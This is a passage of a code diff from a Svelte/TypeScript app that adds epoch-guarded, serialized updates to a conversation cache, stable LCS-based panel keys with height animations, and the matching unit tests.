+ // Saving and transmission stay immediate, independent of warning display.
+ expect(save).toHaveBeenCalledExactlyOnceWith(store.pendingInputs);
+ expect(transport.sent).toHaveLength(1);
+ const { container, rerender } = render(PendingInputs, {
+ inputs: store.pendingInputs,
+ onDiscard: store.discardPendingInput,
+ });
+ await vi.advanceTimersByTimeAsync(999);
+ if (resolution === "confirmation") {
+ store.handleDelta({ type: "chat.accepted", conversationId: "c", requestId: "first" });
+ } else {
+ store.discardPendingInput("first");
+ }
+ expect(store.pendingInputs).toEqual([]);
+ expect(save).toHaveBeenLastCalledWith([]);
+ await rerender({ inputs: store.pendingInputs });
+ expect(vi.getTimerCount()).toBe(0);
+ expect(container.children).toHaveLength(0);
+ expect(container.textContent).toBe("");
+ await vi.advanceTimersByTimeAsync(10_000);
+ expect(container.children).toHaveLength(0);
+ expect(container.textContent).toBe("");
+ } finally {
+ store.dispose();
+ }
+ });
+
+ it("hides an already visible warning immediately on confirmation", async () => {
+ const { container, rerender } = render(PendingInputs, {
+ inputs: [input("first")],
+ onDiscard: vi.fn(),
+ });
+ await vi.advanceTimersByTimeAsync(1000);
+ expect(screen.getByRole("status")).toBeInTheDocument();
+ await rerender({ inputs: [] });
+ expect(container.children).toHaveLength(0);
+ expect(container.textContent).toBe("");
+ });
+
+ it("preserves the discard action and hides the saved copy without another delay", async () => {
+ const onDiscard = vi.fn();
+ const { container, rerender } = render(PendingInputs, {
+ inputs: [input("first")],
+ onDiscard,
+ });
+ await vi.advanceTimersByTimeAsync(1000);
+ await fireEvent.click(screen.getByRole("button", { name: "Discard saved copy" }));
+ expect(onDiscard).toHaveBeenCalledExactlyOnceWith("first");
+ await rerender({ inputs: [] });
+ expect(container.children).toHaveLength(0);
+ expect(container.textContent).toBe("");
+ });
+
+ it("cancels all waiting timers on unmount", async () => {
+ const { unmount } = render(PendingInputs, {
+ inputs: [input("first"), input("second")],
+ onDiscard: vi.fn(),
+ });
+ expect(vi.getTimerCount()).toBe(2);
+ await vi.advanceTimersByTimeAsync(500);
+ unmount();
+ expect(vi.getTimerCount()).toBe(0);
+ await vi.advanceTimersByTimeAsync(10_000);
+ expect(screen.queryByRole("status")).toBeNull();
+ });
+
+ it("gives successive inputs independent delays without restarting existing rows", async () => {
+ const first = input("first");
+ const second = input("second");
+ const { rerender } = render(PendingInputs, { inputs: [first], onDiscard: vi.fn() });
+ await vi.advanceTimersByTimeAsync(600);
+ await rerender({ inputs: [second, { ...first }], onDiscard: vi.fn() });
+ await vi.advanceTimersByTimeAsync(399);
+ expect(screen.queryByRole("status")).toBeNull();
+ await vi.advanceTimersByTimeAsync(1);
+ const warning = screen.getByRole("status");
+ expect(screen.getByRole("textbox")).toHaveValue("first");
+ await rerender({ inputs: [{ ...second }, { ...first }], onDiscard: vi.fn() });
+ await vi.advanceTimersByTimeAsync(599);
+ expect(screen.getAllByRole("status")).toEqual([warning]);
+ await vi.advanceTimersByTimeAsync(1);
+ expect(
+ screen.getAllByRole("textbox").map((node) => (node as HTMLTextAreaElement).value),
+ ).toEqual(["second", "first"]);
+ // Removing the older warning must not re-hide/restart the newer warning.
+ await rerender({ inputs: [second] });
+ expect(screen.getByRole("textbox")).toHaveValue("second");
+ expect(vi.getTimerCount()).toBe(0);
+ });
+
+ it("starts a fresh delay after an earlier input was confirmed during its grace period", async () => {
+ const { rerender } = render(PendingInputs, { inputs: [input("first")], onDiscard: vi.fn() });
+ await vi.advanceTimersByTimeAsync(600);
+ await rerender({ inputs: [] });
+ await rerender({ inputs: [input("second")] });
+ await vi.advanceTimersByTimeAsync(999);
+ expect(screen.queryByRole("status")).toBeNull();
+ await vi.advanceTimersByTimeAsync(1);
+ expect(screen.getByRole("textbox")).toHaveValue("second");
+ });
+
+ it("keeps the original deadline when rejection arrives, and updates visible content immediately", async () => {
+ const pending = input("first");
+ const { rerender } = render(PendingInputs, { inputs: [pending], onDiscard: vi.fn() });
+ await vi.advanceTimersByTimeAsync(600);
+ await rerender({ inputs: [{ ...pending, rejection: "disk full" }] });
+ await vi.advanceTimersByTimeAsync(399);
+ expect(screen.queryByRole("status")).toBeNull();
+ await vi.advanceTimersByTimeAsync(1);
+ const warning = screen.getByRole("status");
+ expect(warning).toHaveTextContent("Message rejected: disk full");
+ expect(warning).not.toHaveTextContent("Delivery unconfirmed");
+ await rerender({ inputs: [{ ...pending, rejection: "still rejected" }] });
+ expect(screen.getByRole("status")).toBe(warning);
+ expect(warning).toHaveTextContent("Message rejected: still rejected");
+ expect(vi.getTimerCount()).toBe(0);
+ });
+
+ it.each([
+ undefined,
+ "disk full",
+ ])("restored entries (rejection: %s) use the same grace period and retain recovery content", async (rejection) => {
+ const restored = input("restored saved message");
+ render(PendingInputs, {
+ inputs: [rejection === undefined ? restored : { ...restored, rejection }],
+ onDiscard: vi.fn(),
+ });
+ await vi.advanceTimersByTimeAsync(999);
+ expect(screen.queryByRole("status")).toBeNull();
+ await vi.advanceTimersByTimeAsync(1);
+ expect(screen.getByRole("status")).toHaveTextContent(
+ rejection === undefined ? "Delivery unconfirmed" : "Message rejected: disk full",
+ );
+ expect(screen.getByRole("textbox")).toHaveValue("restored saved message");
+ expect(screen.getByRole("button", { name: "Discard saved copy" })).toBeEnabled();
+ });
+});
diff --git a/src/features/conversation-cache/cache.test.ts b/src/features/conversation-cache/cache.test.ts
index ce1c60c..72b4e20 100644
--- a/src/features/conversation-cache/cache.test.ts
+++ b/src/features/conversation-cache/cache.test.ts
@@ -15,8 +15,16 @@ const chunk = (seq: number, role: "user" | "assistant" = "user"): StoredChunk =>
*/
function createFakeStore(): ConversationChunkStore {
const store = new Map<string, StoredChunk[]>();
+ const epochs = new Map<string, number>();
return {
+ async historyEpoch(id) {
+ return epochs.get(id);
+ },
+ async reset(id, epoch) {
+ store.delete(id);
+ epochs.set(id, epoch);
+ },
async load(conversationId) {
return store.get(conversationId) ?? [];
},
@@ -33,6 +41,7 @@ function createFakeStore(): ConversationChunkStore {
async delete(conversationId) {
store.delete(conversationId);
+ epochs.delete(conversationId);
},
async index() {
@@ -195,3 +204,48 @@ describe("cache.delete", () => {
expect(result).toEqual([]);
});
});
+
+it("serializes invalidation and rejects stale epoch commits", async () => {
+ const store = createFakeStore();
+ const cache = createConversationCache(store);
+ await store.append("c", [chunk(1)]); // Legacy rows have no trusted epoch.
+ expect(await cache.commit("c", [chunk(101)], 1)).toEqual([chunk(101)]);
+ await Promise.all([cache.commit("c", [chunk(102)], 1), cache.reset("c", 2)]);
+ expect(await cache.commit("c", [chunk(103)], 1)).toEqual([]);
+ expect(await store.historyEpoch("c")).toBe(2);
+});
+
+it("replaces a confirmed full history at a lower epoch, without trusting stale commits", async () => {
+ const store = createFakeStore();
+ const cache = createConversationCache(store);
+ await cache.commit("c", [chunk(9)], 5);
+ expect(await cache.replace("c", [chunk(1)], 1, 5)).toBe(true);
+ expect(await cache.historyEpoch("c")).toBe(1);
+ expect(await cache.load("c")).toEqual([chunk(1)]);
+ expect(await cache.commit("c", [chunk(9)], 5)).toEqual([chunk(1)]);
+ // A delayed full response started against epoch 5 must not restore it.
+ expect(await cache.replace("c", [chunk(9)], 5, 5)).toBe(false);
+ expect(await cache.load("c")).toEqual([chunk(1)]);
+});
+
+it("serializes a guarded replacement behind newer invalidation", async () => {
+ const store = createFakeStore();
+ const cache = createConversationCache(store);
+ await cache.commit("c", [chunk(9)], 5);
+ const resetting = cache.reset("c", 6);
+ const replacing = cache.replace("c", [chunk(1)], 1, 5);
+ await resetting;
+ expect(await replacing).toBe(false);
+ expect(await cache.historyEpoch("c")).toBe(6);
+ expect(await cache.load("c")).toEqual([]);
+});
+
+it("allows an empty replacement and a legacy cache only if its observed epoch still matches", async () => {
+ const store = createFakeStore();
+ const cache = createConversationCache(store);
+ await store.append("c", [chunk(9)]);
+ expect(await cache.replace("c", [], 0, undefined)).toBe(true);
+ expect(await cache.sinceSeq("c")).toBe(0);
+ expect(await cache.historyEpoch("c")).toBe(0);
+ expect(await cache.replace("c", [chunk(9)], 2, undefined)).toBe(false);
+});
diff --git a/src/features/conversation-cache/cache.ts b/src/features/conversation-cache/cache.ts
index 4953944..600a6e6 100644
--- a/src/features/conversation-cache/cache.ts
+++ b/src/features/conversation-cache/cache.ts
@@ -3,6 +3,22 @@ import { nextSinceSeq, reconcileCache, selectEvictions } from "./logic";
import type { ConversationChunkStore } from "./types";
export interface ConversationCache {
+ historyEpoch(conversationId: string): Promise<number | undefined>;
+ reset(conversationId: string, historyEpoch: number): Promise<void>;
+
+ /**
+ * Replace from a fresh full-history response, including an epoch decrease.
+ * Only succeeds if the cache still has the epoch observed BEFORE that request.
+ * Unlike monotonic reset/commit, this is for confirmed server authority, not
+ * broadcasts or cursor/backfill responses. False means the response is stale.
+ */
+ replace(
+ conversationId: string,
+ incoming: readonly StoredChunk[],
+ historyEpoch: number,
+ expectedEpoch: number | undefined,
+ ): Promise<boolean>;
+
/** Load all cached chunks for a conversation. */
load(conversationId: string): Promise<readonly StoredChunk[]>;
@@ -10,7 +26,11 @@ export interface ConversationCache {
* Load + reconcile + append new chunks.
* Returns the merged cache (the new authoritative cache for this conversation).
*/
- commit(conversationId: string, incoming: readonly StoredChunk[]): Promise<readonly StoredChunk[]>;
+ commit(
+ conversationId: string,
+ incoming: readonly StoredChunk[],
+ historyEpoch?: number,
+ ): Promise<readonly StoredChunk[]>;
/** Return the `?sinceSeq=` cursor for the next incremental sync. */
sinceSeq(conversationId: string): Promise<number>;
@@ -43,21 +63,61 @@ export function createConversationCache(
): ConversationCache {
const maxChunks = opts?.maxChunks ?? DEFAULT_MAX_CHUNKS;
+ // Serialize mutation per conversation, including invalidation, so an old fetch
+ // cannot resurrect rows after a compaction broadcast has invalidated them.
+ const pending = new Map<string, Promise<unknown>>();
+ function exclusive<T>(id: string, run: () => Promise<T>): Promise<T> {
+ const next = (pending.get(id) ?? Promise.resolve()).catch(() => {}).then(run);
+ pending.set(id, next);
+ void next
+ .finally(() => {
+ if (pending.get(id) === next) pending.delete(id);
+ })
+ .catch(() => {});
+ return next;
+ }
return {
+ historyEpoch: async (id) => {
+ await pending.get(id);
+ return store.historyEpoch(id);
+ },
+ reset: (id, epoch) =>
+ exclusive(id, async () => {
+ const current = await store.historyEpoch(id);
+ if (current === undefined || current < epoch) await store.reset(id, epoch);
+ }),
+ replace: (id, incoming, epoch, expectedEpoch) =>
+ exclusive(id, async () => {
+ if ((await store.historyEpoch(id)) !== expectedEpoch) return false;
+ await store.reset(id, epoch);
+ if (incoming.length > 0) await store.append(id, incoming);
+ return true;
+ }),
async load(conversationId) {
+ await pending.get(conversationId);
return store.load(conversationId);
},
- async commit(conversationId, incoming) {
- const cached = await store.load(conversationId);
- const { merged, toAppend } = reconcileCache(cached, incoming);
- if (toAppend.length > 0) {
- await store.append(conversationId, toAppend);
- }
- return merged;
+ commit(conversationId, incoming, epoch) {
+ return exclusive(conversationId, async () => {
+ if (epoch !== undefined) {
+ const current = await store.historyEpoch(conversationId);
+ // Once an epoch is known, only explicit invalidation or guarded
+ // full-history replacement may change it (in either direction).
+ if (current !== undefined && current !== epoch) return store.load(conversationId);
+ if (current !== epoch) await store.reset(conversationId, epoch);
+ }
+ const cached = await store.load(conversationId);
+ const { merged, toAppend } = reconcileCache(cached, incoming);
+ if (toAppend.length > 0) {
+ await store.append(conversationId, toAppend);
+ }
+ return merged;
+ });
},
async sinceSeq(conversationId) {
+ await pending.get(conversationId);
const cached = await store.load(conversationId);
return nextSinceSeq(cached);
},
@@ -72,7 +132,7 @@ export function createConversationCache(
},
async delete(conversationId) {
- await store.delete(conversationId);
+ await exclusive(conversationId, () => store.delete(conversationId));
},
};
}
diff --git a/src/features/conversation-cache/types.ts b/src/features/conversation-cache/types.ts
index 345ab71..a273f34 100644
--- a/src/features/conversation-cache/types.ts
+++ b/src/features/conversation-cache/types.ts
@@ -17,6 +17,10 @@ export interface ConversationCacheIndexEntry {
* All methods MUST be idempotent on `seq`: re-appending an existing seq is a no-op.
*/
export interface ConversationChunkStore {
+ historyEpoch(conversationId: string): Promise<number | undefined>;
+ /** Atomically replace cached rows with empty history at this epoch. */
+ reset(conversationId: string, historyEpoch: number): Promise<void>;
+
/** Load all cached chunks for a conversation, seq-ordered. Returns [] if absent. */
load(conversationId: string): Promise<readonly StoredChunk[]>;
diff --git a/src/features/heartbeat/ui/RunModal.svelte b/src/features/heartbeat/ui/RunModal.svelte
index 92068ae..12e248a 100644
--- a/src/features/heartbeat/ui/RunModal.svelte
+++ b/src/features/heartbeat/ui/RunModal.svelte
@@ -154,6 +154,7 @@
{:else}
<ChatView
chunks={chat.chunks}
+ recovering={chat.recovering}
turnMetrics={chat.turnMetrics}
hasEarlier={chat.hasEarlier}
onShowEarlier={chat.showEarlier}
diff --git a/src/features/layout/adapter/http.test.ts b/src/features/layout/adapter/http.test.ts
index cc7d7e9..30e194a 100644
--- a/src/features/layout/adapter/http.test.ts
+++ b/src/features/layout/adapter/http.test.ts
@@ -77,7 +77,7 @@ describe("createLayoutHttp — getTree", () => {
it("a malformed 200 (SPA-fallback JSON without a tree) degrades to notFound", async () => {
const http = createLayoutHttp(
"http://backend.test",
- fetchReturning(200, { chunks: [], latestSeq: 0 }),
+ fetchReturning(200, { chunks: [], historyEpoch: 0, latestSeq: 0 }),
);
const result = await http.getTree("ws-a");
expect(result).toMatchObject({ ok: false, notFound: true });
diff --git a/src/features/layout/logic/panel-keys.test.ts b/src/features/layout/logic/panel-keys.test.ts
new file mode 100644
index 0000000..b45671a
--- /dev/null
+++ b/src/features/layout/logic/panel-keys.test.ts
@@ -0,0 +1,73 @@
+import { describe, expect, it } from "vitest";
+import { initialPanelKeys, reconcilePanelKeys, swappedPanels } from "./panel-keys";
+
+describe("initialPanelKeys", () => {
+ it("numbers the panels in order and seeds past them", () => {
+ expect(initialPanelKeys(["tabs", "model"])).toEqual({
+ views: ["tabs", "model"],
+ keys: [0, 1],
+ seed: 2,
+ });
+ });
+});
+
+describe("reconcilePanelKeys", () => {
+ const start = initialPanelKeys(["tabs", "model", "usage"]); // keys 0 1 2
+
+ it("closing the MIDDLE panel drops the middle key (not the last)", () => {
+ const next = reconcilePanelKeys(start, ["tabs", "usage"]);
+ expect(next.keys).toEqual([0, 2]);
+ expect(next.seed).toBe(3);
+ });
+
+ it("adding a panel gives only the new one a fresh key", () => {
+ const next = reconcilePanelKeys(start, ["tabs", "model", "usage", "lsp"]);
+ expect(next.keys).toEqual([0, 1, 2, 3]);
+ expect(next.seed).toBe(4);
+ });
+
+ it("a dropdown swap keeps every key positional", () => {
+ const next = reconcilePanelKeys(start, ["tabs", "lsp", "usage"]);
+ expect(next.keys).toEqual([0, 1, 2]);
+ });
+
+ it("handles duplicate views and never reuses a key", () => {
+ const dup = initialPanelKeys(["a", "b", "a"]); // 0 1 2
+ const removed = reconcilePanelKeys(dup, ["a", "a"]);
+ expect(removed.keys).toEqual([0, 2]);
+ const added = reconcilePanelKeys(removed, ["a", "a", "a"]);
+ expect(added.keys).toEqual([0, 2, 3]);
+ expect(new Set(added.keys).size).toBe(3);
+ });
+
+ it("a ✕ hint picks the exact panel when identical views make it ambiguous", () => {
+ const twins = initialPanelKeys(["model", "usage", "usage"]); // 0 1 2
+ expect(reconcilePanelKeys(twins, ["model", "usage"]).keys).toEqual([0, 1]); // no hint
+ expect(reconcilePanelKeys(twins, ["model", "usage"], 1).keys).toEqual([0, 2]);
+ });
+
+ it("ignores a stale hint that does not describe the change", () => {
+ // The tree changed some other way (e.g. a remote edit) — fall back to LCS.
+ expect(reconcilePanelKeys(start, ["tabs", "model"], 0).keys).toEqual([0, 1]);
+ expect(reconcilePanelKeys(start, ["tabs", "model", "usage"], 1).keys).toEqual([0, 1, 2]);
+ });
+
+ it("an unrelated replacement of different length gets all-fresh keys", () => {
+ const next = reconcilePanelKeys(start, ["x"]);
+ expect(next.keys).toEqual([3]);
+ });
+});
+
+describe("swappedPanels", () => {
+ it("reports a surviving panel whose view changed", () => {
+ const prev = initialPanelKeys(["tabs", "model"]);
+ const next = reconcilePanelKeys(prev, ["tabs", "usage"]);
+ expect([...swappedPanels(prev, next)]).toEqual([[1, { from: "model", to: "usage" }]]);
+ });
+
+ it("does not report adds or removes", () => {
+ const prev = initialPanelKeys(["tabs", "model", "usage"]);
+ expect(swappedPanels(prev, reconcilePanelKeys(prev, ["tabs", "usage"])).size).toBe(0);
+ expect(swappedPanels(prev, reconcilePanelKeys(prev, [...prev.views, "lsp"])).size).toBe(0);
+ });
+});
diff --git a/src/features/layout/logic/panel-keys.ts b/src/features/layout/logic/panel-keys.ts
new file mode 100644
index 0000000..76a053f
--- /dev/null
+++ b/src/features/layout/logic/panel-keys.ts
@@ -0,0 +1,118 @@
+/**
+ * Stable panel keys — the PURE identity scheme behind the panel height
+ * animation.
+ *
+ * Panel leaves carry no required id, so the panels list can't be keyed by the
+ * tree. Keying by INDEX is wrong for removal: closing the middle of three
+ * panels would re-use the middle DOM node for the third view and animate the
+ * LAST panel out. This reconciles a stable numeric key per panel across tree
+ * updates, from the view ids alone:
+ *
+ * - same length → keys stay positional (a dropdown SWAP keeps its panel —
+ * the panel morphs its height to the new view instead of leaving).
+ * - length changed → the longest common subsequence of view ids keeps its
+ * keys; every unmatched new panel gets a fresh key (an ADD), every
+ * unmatched old key disappears (a REMOVE).
+ *
+ * Zero Svelte, zero DOM.
+ */
+
+export interface PanelKeys {
+ /** View id per panel, in order. */
+ readonly views: readonly string[];
+ /** Stable key per panel, aligned with `views`. */
+ readonly keys: readonly number[];
+ /** The next fresh key. */
+ readonly seed: number;
+}
+
+/** Keys for a freshly mounted panels list. */
+export function initialPanelKeys(views: readonly string[]): PanelKeys {
+ return { views: [...views], keys: views.map((_, i) => i), seed: views.length };
+}
+
+/**
+ * Reconcile `prev` against the next view list (see the module doc).
+ *
+ * `removedIndex` is an optional HINT from a local ✕ click: when the next list
+ * is exactly `prev` minus that index, that exact panel is the one removed.
+ * Without it, closing one of two identical adjacent views is ambiguous to the
+ * subsequence match (it would drop the later one).
+ */
+export function reconcilePanelKeys(
+ prev: PanelKeys,
+ nextViews: readonly string[],
+ removedIndex?: number,
+): PanelKeys {
+ if (removedIndex !== undefined && isRemovalAt(prev.views, nextViews, removedIndex)) {
+ return {
+ views: [...nextViews],
+ keys: prev.keys.filter((_, i) => i !== removedIndex),
+ seed: prev.seed,
+ };
+ }
+ if (nextViews.length === prev.views.length) {
+ return { views: [...nextViews], keys: [...prev.keys], seed: prev.seed };
+ }
+ const matched = lcsMatch(prev.views, nextViews);
+ let seed = prev.seed;
+ const keys = nextViews.map((_, j) => {
+ const i = matched.get(j);
+ if (i !== undefined) return prev.keys[i] ?? seed++;
+ return seed++;
+ });
+ return { views: [...nextViews], keys, seed };
+}
+
+/**
+ * The views whose panel SURVIVED but now mounts a different view (a swap):
+ * key → { from, to }. Adds/removes are not swaps.
+ */
+export function swappedPanels(
+ prev: PanelKeys,
+ next: PanelKeys,
+): Map<number, { from: string; to: string }> {
+ const before = new Map(prev.keys.map((k, i) => [k, prev.views[i] ?? ""]));
+ const out = new Map<number, { from: string; to: string }>();
+ next.keys.forEach((k, i) => {
+ const from = before.get(k);
+ const to = next.views[i] ?? "";
+ if (from !== undefined && from !== to) out.set(k, { from, to });
+ });
+ return out;
+}
+
+function isRemovalAt(prev: readonly string[], next: readonly string[], index: number): boolean {
+ if (index < 0 || index >= prev.length || next.length !== prev.length - 1) return false;
+ return next.every((v, j) => v === prev[j < index ? j : j + 1]);
+}
+
+/** LCS alignment: next index → prev index for every matched element. */
+function lcsMatch(a: readonly string[], b: readonly string[]): Map<number, number> {
+ const n = a.length;
+ const m = b.length;
+ // dp[i][j] = LCS length of a[i..] and b[j..]
+ const dp: number[][] = Array.from({ length: n + 1 }, () => new Array<number>(m + 1).fill(0));
+ for (let i = n - 1; i >= 0; i--) {
+ for (let j = m - 1; j >= 0; j--) {
+ const row = dp[i] as number[];
+ const below = dp[i + 1] as number[];
+ row[j] = a[i] === b[j] ? (below[j + 1] ?? 0) + 1 : Math.max(below[j] ?? 0, row[j + 1] ?? 0);
+ }
+ }
+ const out = new Map<number, number>();
+ let i = 0;
+ let j = 0;
+ while (i < n && j < m) {
+ if (a[i] === b[j]) {
+ out.set(j, i);
+ i++;
+ j++;
+ } else if ((dp[i + 1]?.[j] ?? 0) >= (dp[i]?.[j + 1] ?? 0)) {
+ i++;
+ } else {
+ j++;
+ }
+ }
+ return out;
+}
diff --git a/src/features/layout/ui/TilePanels.svelte b/src/features/layout/ui/TilePanels.svelte
index 9162b00..cc5fa89 100644
--- a/src/features/layout/ui/TilePanels.svelte
+++ b/src/features/layout/ui/TilePanels.svelte
@@ -8,9 +8,17 @@
*/
import type { LayoutOp, PanelsNode, Path } from "@dispatch/layout-contract";
import PlusIcon from "phosphor-svelte/lib/PlusIcon";
+ import { untrack } from "svelte";
import { viewRegistry } from "../logic/registry";
import { addPanelOp, firstPanelView, removePanelOp, swapPanelOp } from "../logic/panels-edit";
+ import {
+ initialPanelKeys,
+ type PanelKeys,
+ reconcilePanelKeys,
+ swappedPanels,
+ } from "../logic/panel-keys";
import { markerStyle } from "../logic/marker";
+ import { morphPanelHeight, panelGrowIn, panelShrinkOut } from "./panel-motion";
import TileLeaf from "./TileLeaf.svelte";
let {
@@ -38,45 +46,122 @@
// appear in the dropdowns. Reactive so late registrations re-render options.
const panelViews = $derived($viewRegistry.filter((v) => v.panelEligible));
const addView = $derived(firstPanelView(panelViews));
+
+ // Stable per-panel keys (pure reconcile, memoised across tree updates) so a
+ // closed panel is the one that animates out, not whichever is last.
+ // A local ✕ click hints WHICH panel left (consumed by the next tree change;
+ // ignored if that change isn't exactly this removal, e.g. a remote edit).
+ let keyMemo: PanelKeys | null = null;
+ let removeHint: number | undefined;
+ const keyed = $derived.by(() => {
+ const views = node.panels.map((p) => p.view);
+ keyMemo =
+ keyMemo === null ? initialPanelKeys(views) : reconcilePanelKeys(keyMemo, views, removeHint);
+ removeHint = undefined;
+ return keyMemo;
+ });
+
+ function removePanel(idx: number): void {
+ removeHint = idx;
+ onEdit([removePanelOp(path, idx)]);
+ }
+
+ // View SWAP: the panel BOX (the well) animates from the old view's height
+ // to the new one's. Measure before the DOM updates, animate after. (Adds/removes are
+ // the per-panel in:/out: transitions below.)
+ let columnEl = $state<HTMLDivElement | undefined>();
+ /** The keys the DOM currently shows (set after each update). */
+ let shownKeys: PanelKeys | null = null;
+ let before: { keys: PanelKeys; heights: Map<number, number> } | null = null;
+ $effect.pre(() => {
+ const next = keyed;
+ untrack(() => {
+ const heights = new Map<number, number>();
+ for (const el of panelEls()) {
+ const well = wellOf(el);
+ if (well !== null) heights.set(Number(el.dataset.panelKey), well.offsetHeight);
+ }
+ before = { keys: shownKeys ?? next, heights };
+ });
+ });
+ $effect(() => {
+ const now = keyed;
+ untrack(() => {
+ const prev = before;
+ before = null;
+ shownKeys = now;
+ if (prev === null) return;
+ for (const key of swappedPanels(prev.keys, now).keys()) {
+ const el = panelEls().find((e) => Number(e.dataset.panelKey) === key);
+ const well = el === undefined ? null : wellOf(el);
+ const from = prev.heights.get(key);
+ if (well !== null && from !== undefined) morphPanelHeight(well, from);
+ }
+ });
+ });
+
+ function wellOf(panel: HTMLElement): HTMLElement | null {
+ return panel.querySelector<HTMLElement>(":scope > [data-panel-well]");
+ }
+
+ function panelEls(): HTMLElement[] {
+ return columnEl === undefined
+ ? []
+ : [...columnEl.querySelectorAll<HTMLElement>(":scope > [data-panel-key]")];
+ }
</script>
<!-- `shrink-0`: this column is the sidebar's SCROLLED content, so it keeps its
natural height — if it shrank to the scroller (min-h-0 in a flex column),
its children overflowed it and the trailing margin was never scrollable. -->
+<!-- No flex `gap`: each panel's wrapper carries the gap as `pb-2` instead, so
+ it grows/shrinks WITH the panel's height animation (a flex gap would jump). -->
<div
- class="flex min-h-0 shrink-0 flex-col gap-2"
+ bind:this={columnEl}
+ class="flex min-h-0 shrink-0 flex-col"
style={renderMarker ? markerStyle(node.marker) : undefined}
+ data-panels
>
- {#each node.panels as panel, idx (idx)}
- <!-- `.inset-well` (app.css): recessed into the sidebar, like the chat's
- thinking/tool blocks. -->
- <div class="inset-well flex flex-col p-3">
- <div class="flex items-center gap-1">
- <select
- class="select select-bordered select-sm flex-1"
- aria-label="Select a view"
- value={panel.view}
- onchange={(e) => onEdit([swapPanelOp(path, idx, e.currentTarget.value)])}
- >
- <option value="" disabled>Select a view</option>
- {#each panelViews as view (view.id)}
- <option value={view.id}>{view.label}</option>
- {/each}
- </select>
- {#if idx > 0}
- <button
- type="button"
- class="btn btn-square btn-ghost btn-sm shrink-0"
- aria-label="Remove view"
- onclick={() => onEdit([removePanelOp(path, idx)])}
+ {#each node.panels as panel, idx (keyed.keys[idx])}
+ <!-- Add/close animate the WRAPPER's height (it carries the inter-panel gap,
+ so panels below slide smoothly); a view swap animates the WELL's
+ height. Either way only a height is tweened (clipped) — the contents
+ keep their natural size. `.inset-well` (app.css): recessed into the
+ sidebar, like the chat's thinking/tool blocks. -->
+ <div
+ class="shrink-0 pb-2"
+ data-panel-key={keyed.keys[idx]}
+ in:panelGrowIn
+ out:panelShrinkOut
+ >
+ <div class="inset-well flex flex-col p-3" data-panel-well>
+ <div class="flex items-center gap-1">
+ <select
+ class="select select-bordered select-sm flex-1"
+ aria-label="Select a view"
+ value={panel.view}
+ onchange={(e) => onEdit([swapPanelOp(path, idx, e.currentTarget.value)])}
>
- ✕
- </button>
- {/if}
- </div>
+ <option value="" disabled>Select a view</option>
+ {#each panelViews as view (view.id)}
+ <option value={view.id}>{view.label}</option>
+ {/each}
+ </select>
+ {#if idx > 0}
+ <button
+ type="button"
+ class="btn btn-square btn-ghost btn-sm shrink-0"
+ aria-label="Remove view"
+ onclick={() => removePanel(idx)}
+ >
+ ✕
+ </button>
+ {/if}
+ </div>
- <div class="mt-2">
- <TileLeaf node={panel} {ports} />
+ <div class="mt-2">
+ <TileLeaf node={panel} {ports} />
+ </div>
</div>
</div>
{/each}
@@ -85,8 +170,9 @@
<!-- `.raised-btn` (app.css): the mirror of the view wells above it —
pops out where they sink in; pressed, it sinks in like them. Height =
DaisyUI's default button size (`--size-field` × 10), as the `btn` it
- replaced; `shrink-0` so the column can never squash it. `mb-2` = the
- gap between views (`gap-2`), so it doesn't sit tight to the end. -->
+ replaced; `shrink-0` so the column can never squash it. The last panel's
+ `pb-2` is the gap above it; `mb-2` = the same gap below, so it
+ doesn't sit tight to the end. -->
<button
type="button"
class="raised-btn mb-2 h-[calc(var(--size-field,0.25rem)*10)] w-full shrink-0"
diff --git a/src/features/layout/ui/TileRoot.test.ts b/src/features/layout/ui/TileRoot.test.ts
index 2f95854..4b404a1 100644
--- a/src/features/layout/ui/TileRoot.test.ts
+++ b/src/features/layout/ui/TileRoot.test.ts
@@ -1,6 +1,7 @@
import type { LayoutTree, SplitNode } from "@dispatch/layout-contract";
import { render, screen } from "@testing-library/svelte";
import userEvent from "@testing-library/user-event";
+import { gsap } from "gsap";
import { describe, expect, it, vi } from "vitest";
import { createCollapseStore, registerView, unregisterView } from "../index";
import FixtureA from "./fixtures/FixtureA.svelte";
@@ -271,7 +272,7 @@ describe("TileRoot", () => {
const { container } = render(TileRoot, {
props: { tree: markedTestTree(), collapse: createCollapseStore({ viewportWidth: 1024 }) },
});
- const panels = container.querySelector("[data-testid='fixture-b']")?.closest(".gap-2");
+ const panels = container.querySelector("[data-testid='fixture-b']")?.closest("[data-panels]");
expect(panels?.getAttribute("style") ?? "").not.toContain("outline");
});
@@ -341,3 +342,53 @@ describe("TileRoot registry cleanup", () => {
}
});
});
+
+describe("TilePanels — panel identity + height animation", () => {
+ const wrappers = (): HTMLElement[] => [
+ ...document.querySelectorAll<HTMLElement>("[data-panels] > [data-panel-key]"),
+ ];
+
+ it("closing the MIDDLE panel removes that panel's DOM, keeping the others' nodes", async () => {
+ const { rerender } = render(TileRoot, {
+ props: { tree: panelsOnlyTree("fix-b", "fix-a", "fix-b"), collapse: createCollapseStore() },
+ });
+ const [first, , third] = wrappers();
+ await rerender({ tree: panelsOnlyTree("fix-b", "fix-b"), collapse: createCollapseStore() });
+ // Identity, not position: the third panel's node survived (index keying
+ // would have reused the middle node and dropped the last one).
+ expect(wrappers()).toEqual([first, third]);
+ expect(screen.queryByTestId("fixture-a")).toBeNull();
+ });
+
+ it("✕ on one of two IDENTICAL views removes exactly that panel", async () => {
+ const user = userEvent.setup();
+ const tree = panelsOnlyTree("fix-b", "fix-a", "fix-a");
+ const { rerender } = render(TileRoot, { props: { tree, collapse: createCollapseStore() } });
+ const [first, , third] = wrappers();
+ // Click the MIDDLE panel's ✕ (the first panel has none), then the owner
+ // applies the edit — the two fix-a panels are indistinguishable by data.
+ const [middleClose] = screen.getAllByRole("button", { name: "Remove view" });
+ await user.click(middleClose as HTMLElement);
+ await rerender({ tree: panelsOnlyTree("fix-b", "fix-a"), collapse: createCollapseStore() });
+ expect(wrappers()).toEqual([first, third]);
+ });
+
+ it("with motion allowed, a closed panel stays in flow while it shrinks out", async () => {
+ vi.stubGlobal(
+ "matchMedia",
+ vi.fn(() => ({ matches: false }) as unknown as MediaQueryList),
+ );
+ try {
+ const { rerender } = render(TileRoot, {
+ props: { tree: panelsOnlyTree("fix-b", "fix-a"), collapse: createCollapseStore() },
+ });
+ const closing = wrappers()[1];
+ await rerender({ tree: panelsOnlyTree("fix-b"), collapse: createCollapseStore() });
+ // jsdom's stubbed Element.animate never finishes, so the outro holds.
+ expect(closing?.isConnected).toBe(true);
+ expect(gsap.getTweensOf(closing as HTMLElement)).toHaveLength(1);
+ } finally {
+ vi.unstubAllGlobals();
+ }
+ });
+});
